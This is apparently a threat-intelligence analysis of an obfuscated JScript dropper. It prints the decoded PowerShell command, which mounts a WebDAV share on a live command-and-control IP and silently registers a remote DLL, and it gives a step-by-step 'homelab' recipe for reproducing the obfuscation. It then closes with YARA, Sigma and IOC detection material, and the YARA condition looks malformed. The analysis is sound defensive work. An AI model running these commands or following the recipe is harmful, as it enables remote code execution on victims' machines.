unclassified-js-webdav-dropper: edfb0e0a — 81 KB JScript noise-variable reassignment + concatenation hybrid, WebDAV C2 94.159.113.204:8888

Eighty-fifth confirmed sibling in the unclassified-js-webdav-dropper family. Combines sequential variable-reassignment (last-wins semantics, 212 assignments across 64 identifiers) with noise-variable +-concatenation inside a Function('return this')() constructor, fed to eval(). Deploys a PowerShell -EncodedCommand wrapper that mounts a WebDAV share and registers a remote DLL via regsvr32 /s.

What It Is

How It Works

The script is a single-line JScript file with three parts: ^[strings.txt]

1. Function declaration: function xukqmevyanxi(){...} containing one statement.
2. Variable assignments: 212 semicolon-delimited varname="char"; statements with 64 unique identifiers, each overwritten multiple times (last-wins semantics). Names are random lowercase noise strings (15–20 chars, e.g. agdrfnqzgu, zjcrejiwzdvnvy).
3. Function invocation: xukqmevyanxi();

The function body is a single eval() call constructed as:

Function(concatenated_vars)()[eval](concatenated_inner_payload);

Where:

• Outer Function(...) resolves to return this → global object (window/WScript).
• [eval] resolves to the global eval function.
• Inner payload is another Function(...)[WScript][CreateObject](...)[Run](...) chain.

The decoded inner payload is: ^[manual-decode]

Function("return this")()["WScript"]["CreateObject"]("WScript.Shell")["Run"](
  "powershell -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwB1AG4AbgB0AHMAdAB6AHcAYgBrAGwAbwA7AG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADIAMAA0AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA7AHEAbAB2AG0AcQB0AHAAcABoAGoAOwByAGUAZwBzAHYAcgAzADIAIAAvAHMAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADIAMAA0AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADgANAA1ADkANQA0ADMAOAAyADYAMQAwADUALgBkAGwAbAA7AHgAZwBjAGIAbABwAGwAagB0AGwAYwA=",
  0, false
);

Decoding the Base64 UTF-16LE payload yields: ^[manual-decode]

timeout 1;unntstzwbklo;net use \\94.159.113.204@8888\davwwwroot\;qlvmqtpphj;regsvr32 /s \\94.159.113.204@8888\davwwwroot\18459543826105.dll;xgcblpljtlc

The noise words (unntstzwbklo, qlvmqtpphj, xgcblpljtlc) are no-ops. The real commands are:

• timeout 1 — anti-emulation delay (1-second sleep).
• net use \\94.159.113.204@8888\davwwwroot\ — mount WebDAV share.
• regsvr32 /s \\94.159.113.204@8888\davwwwroot\18459543826105.dll — silent DLL registration. ^[manual-decode]

C2 Infrastructure

The C2 IP sits in the 94.159.113.x subnet shared by siblings fa8c6d74 (.204), fbdd83ad (.84), c4670e86 (.84), ff3c6d0c (.86), f8dce7df (.82), fe261d49 (.79), be172014 (.79), d53e312c (.79), dc76a67d (.79), dbdb99f1 (.86), dfb1eb98 (.82), and e6252c92 (.79). ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• Hybrid obfuscation: First sibling to combine sequential variable-reassignment (dialect #8, as seen in fd437971) with noise-variable +-concatenation (dialect #9, as seen in fa8c6d74/ddf0c8bd). The result is 212 assignments over 64 identifiers, decoded into a 5,985-character inner payload. ^[manual-decode]
• No dictionary object: Unlike the dictionary-lookup siblings, there is no {key:value} object — pure variable concatenation. This reduces the script's footprint and evades signature-based dictionary scanners.
• No batch/polyglot layer: Pure JScript, no batch wrapper, no wordpad decoy, no self-replication logic. Static-only (CAPE skipped — not a binary). ^[dynamic-analysis.md]
• Timeout gate: The 1-second timeout delay is the first anti-emulation gate observed in the noise-variable-concatenation dialect (previously seen only in dictionary-lookup siblings like e2568b43 and ddf0c8bd).
• PowerShell -EncodedCommand: The payload is wrapped in a UTF-16LE Base64-encoded PowerShell command, a common family trait across cloudslimit.com and 94.159.113.x sub-clusters.

How To Mess With It (Homelab Replication)

This obfuscation is trivial to replicate by hand or with a small Python script:

1. Generate noise variable names: 64 random lowercase strings (15–20 chars) from os.urandom().
2. Map characters: Assign each ASCII character in your payload to a variable, with intentional overwrites (last-wins). Aim for ~3–4× overwrites to pad volume.
3. Concatenate: Build the outer Function(...)[eval](...) skeleton, then the inner Function(...)[WScript][CreateObject](...)[Run](...) chain.
4. Encode PowerShell: Wrap your real command (timeout 1; net use ...; regsvr32 ...) as UTF-16LE and Base64-encode for -EncodedCommand.
5. Flatten: Emit everything on a single line with no line terminators.

Verification: Run cscript //nologo yourfile.js in a Windows VM with network isolation. Monitor with ProcMon for cscript.exe → powershell.exe → regsvr32.exe chains.

Deployable Signatures

YARA Rule

rule UNCLASSIFIED_JS_WEBDAV_DROPPER_REASSIGNMENT_CONCAT {
  meta:
    description = "JScript noise-variable reassignment + concatenation WebDAV dropper"
    author = "malware-corpus"
    date = "2026-07-21"
    sha256 = "edfb0e0abb507013faf97c63f4ec0f75acd3883cf1a7abb8b727f09eaeb42c92"
  strings:
    $func = /function \w+\(\)\{Function\(/ nocase
    $eval = /\)\)\[\w+\+\w+\+\w+\+\w+\]\(/ nocase
    $run = /\]\[\w+\+\w+\+\w+\]\(\w+\+/ nocase
    $wscript = /WScript\.Shell/i
    $netuse = /net use \\\\.*\d+\.\d+\.\d+\.\d+@\d+/i
    $regsvr32 = /regsvr32 \/s/i
  condition:
    $func and $eval and $run and filesize < 200KB and
    (#a = /\w+="[a-zA-Z0-9]";/) > 150
}

Hunt Query (Sigma-style)

title: JScript WebDAV Dropper PowerShell EncodedCommand Execution
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\cscript.exe'
    CommandLine|contains:
      - 'powershell'
      - '-EncodedCommand'
      - 'regsvr32'
  condition: selection
falsepositives:
  - Unknown
level: high

IOC List

Behavioral Fingerprint

This JScript dropper arrives as a single-line .js file with 150+ semicolon-delimited variable assignments mapping random 15–20 character lowercase identifiers to single ASCII characters. After assignment, a function is called that concatenates variables into a Function('return this')()[eval](...) chain, ultimately decoding to a WScript.Shell.Run() call that spawns powershell.exe -EncodedCommand with a UTF-16LE Base64 payload. The decoded PowerShell executes timeout 1, mounts a WebDAV share at \\94.159.113.x@8888\davwwwroot\, and registers a remote DLL via regsvr32 /s. No dictionary lookup object, no batch layer, no persistence.

Detection Signatures

References

• Entity page: unclassified-js-webdav-dropper
• Technique: js-noise-variable-concatenation-obfuscation
• Technique: jscript-sequential-variable-reassignment-eval
• Technique: webdav-regsvr32-dll-sideloading

Provenance

Analysis derived from:

• file.txt — file utility (v5.44)
• strings.txt — strings (GNU binutils)
• metadata.json — OpenCTI ingestion metadata
• Manual static deobfuscation via Python regex and Base64 decode
• dynamic-analysis.md — CAPE skipped (not a supported binary class)

All claims marked ^[manual-decode] trace to the Python deobfuscation script run during this analysis session.